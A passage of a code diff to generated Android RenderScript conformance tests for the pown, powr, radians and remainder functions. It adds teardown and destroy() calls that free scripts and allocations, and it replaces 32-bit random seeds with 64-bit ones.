             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalfIntHalf: " + e.toString());
         }
@@ -382,9 +406,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownHalfIntHalf(inBase, out);
             verifyResultsPownHalfIntHalf(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalfIntHalf: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownHalfIntHalf(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -450,13 +477,14 @@
     }
 
     private void checkPownHalf2Int2Half2() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x29ccb2d5l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x6e5f9cebl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x218972b229ccb2d5l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x90a067e6e5f9cebl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownHalf2Int2Half2(inBase, out);
             verifyResultsPownHalf2Int2Half2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf2Int2Half2: " + e.toString());
         }
@@ -465,9 +493,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownHalf2Int2Half2(inBase, out);
             verifyResultsPownHalf2Int2Half2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf2Int2Half2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownHalf2Int2Half2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -533,13 +564,14 @@
     }
 
     private void checkPownHalf3Int3Half3() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2f8523b4l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x92b63d1al, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x82d20b742f8523b4l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x3cb4a30b92b63d1al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownHalf3Int3Half3(inBase, out);
             verifyResultsPownHalf3Int3Half3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf3Int3Half3: " + e.toString());
         }
@@ -548,9 +580,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownHalf3Int3Half3(inBase, out);
             verifyResultsPownHalf3Int3Half3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf3Int3Half3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownHalf3Int3Half3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -616,13 +651,14 @@
     }
 
     private void checkPownHalf4Int4Half4() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x353d9493l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xb70cdd49l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe41aa436353d9493l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x705f3f98b70cdd49l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownHalf4Int4Half4(inBase, out);
             verifyResultsPownHalf4Int4Half4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf4Int4Half4: " + e.toString());
         }
@@ -631,9 +667,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownHalf4Int4Half4(inBase, out);
             verifyResultsPownHalf4Int4Half4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownHalf4Int4Half4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownHalf4Int4Half4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.java
index 71b0500..961ee66 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPowr.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestPowrRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inBase;
         public float inExponent;
@@ -44,13 +51,14 @@
     }
 
     private void checkPowrFloatFloatFloat() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc490ca4l, 0, 3000);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xab21ab0al, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x432f9eac0c490ca4l, 0, 3000);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7ee76eaeab21ab0al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrFloatFloatFloat(inBase, out);
             verifyResultsPowrFloatFloatFloat(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrFloatFloatFloat(inBase, out);
             verifyResultsPowrFloatFloatFloat(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloatFloatFloat: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrFloatFloatFloat(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkPowrFloat2Float2Float2() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xeae1fd16l, 0, 3000);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x817a9ddcl, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5ce1f4c2eae1fd16l, 0, 3000);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1f9ec14817a9ddcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrFloat2Float2Float2(inBase, out);
             verifyResultsPowrFloat2Float2Float2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrFloat2Float2Float2(inBase, out);
             verifyResultsPowrFloat2Float2Float2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat2Float2Float2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrFloat2Float2Float2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkPowrFloat3Float3Float3() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd355e289l, 0, 3000);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd89d205fl, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf7c84366d355e289l, 0, 3000);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdd686715d89d205fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrFloat3Float3Float3(inBase, out);
             verifyResultsPowrFloat3Float3Float3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrFloat3Float3Float3(inBase, out);
             verifyResultsPowrFloat3Float3Float3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat3Float3Float3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrFloat3Float3Float3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkPowrFloat4Float4Float4() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbbc9c7fcl, 0, 3000);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2fbfa2e2l, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x92ae920abbc9c7fcl, 0, 3000);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb8d6e2172fbfa2e2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrFloat4Float4Float4(inBase, out);
             verifyResultsPowrFloat4Float4Float4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrFloat4Float4Float4(inBase, out);
             verifyResultsPowrFloat4Float4Float4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrFloat4Float4Float4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrFloat4Float4Float4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkPowrHalfHalfHalf() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x752063b9l, 0, 300);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2c92528fl, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x220501e0752063b9l, 0, 300);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb95ceadc2c92528fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrHalfHalfHalf(inBase, out);
             verifyResultsPowrHalfHalfHalf(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrHalfHalfHalf(inBase, out);
             verifyResultsPowrHalfHalfHalf(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalfHalfHalf: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrHalfHalfHalf(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkPowrHalf2Half2Half2() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x68ccc053l, 0, 300);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbd379d09l, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x50b4f5ed68ccc053l, 0, 300);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x71b046cdbd379d09l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrHalf2Half2Half2(inBase, out);
             verifyResultsPowrHalf2Half2Half2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrHalf2Half2Half2(inBase, out);
             verifyResultsPowrHalf2Half2Half2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf2Half2Half2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrHalf2Half2Half2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkPowrHalf3Half3Half3() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5c7e1130l, 0, 300);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbef8c7d6l, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8a3f01835c7e1130l, 0, 300);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3a7e637abef8c7d6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrHalf3Half3Half3(inBase, out);
             verifyResultsPowrHalf3Half3Half3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrHalf3Half3Half3(inBase, out);
             verifyResultsPowrHalf3Half3Half3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf3Half3Half3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrHalf3Half3Half3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkPowrHalf4Half4Half4() {
-        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x502f620dl, 0, 300);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc0b9f2a3l, false);
+        Allocation inBase = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc3c90d19502f620dl, 0, 300);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x34c8027c0b9f2a3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowrHalf4Half4Half4(inBase, out);
             verifyResultsPowrHalf4Half4Half4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowrHalf4Half4Half4(inBase, out);
             verifyResultsPowrHalf4Half4Half4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowrHalf4Half4Half4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowrHalf4Half4Half4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.java
index 7d7bf2f..5702095 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRadians.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestRadiansRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkRadiansFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x42adfabl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6e5054c0042adfabl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testRadiansFloatFloat(inV, out);
             verifyResultsRadiansFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansFloatFloat(inV, out);
             verifyResultsRadiansFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkRadiansFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xde23baf7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc20ed424de23baf7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testRadiansFloat2Float2(inV, out);
             verifyResultsRadiansFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansFloat2Float2(inV, out);
             verifyResultsRadiansFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkRadiansFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd43edbd5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc2109d3fd43edbd5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testRadiansFloat3Float3(inV, out);
             verifyResultsRadiansFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansFloat3Float3(inV, out);
             verifyResultsRadiansFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkRadiansFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xca59fcb3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc212665aca59fcb3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testRadiansFloat4Float4(inV, out);
             verifyResultsRadiansFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansFloat4Float4(inV, out);
             verifyResultsRadiansFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkRadiansHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3875b1edl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1f51a4b83875b1edl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testRadiansHalfHalf(inV, out);
             verifyResultsRadiansHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansHalfHalf(inV, out);
             verifyResultsRadiansHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkRadiansHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x714926e7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x34adc673714926e7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testRadiansHalf2Half2(inV, out);
             verifyResultsRadiansHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansHalf2Half2(inV, out);
             verifyResultsRadiansHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkRadiansHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd050ebdbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x34add114d050ebdbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testRadiansHalf3Half3(inV, out);
             verifyResultsRadiansHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansHalf3Half3(inV, out);
             verifyResultsRadiansHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkRadiansHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2f58b0cfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x34addbb62f58b0cfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testRadiansHalf4Half4(inV, out);
             verifyResultsRadiansHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRadiansHalf4Half4(inV, out);
             verifyResultsRadiansHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRadiansHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRadiansHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.java
index a8c3c07..202a032 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemainder.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestRemainderRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkRemainderFloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x317ea229l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe2ebe35al, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd47c3f07317ea229l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb246eb0ee2ebe35al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderFloatFloatFloat(inNumerator, out);
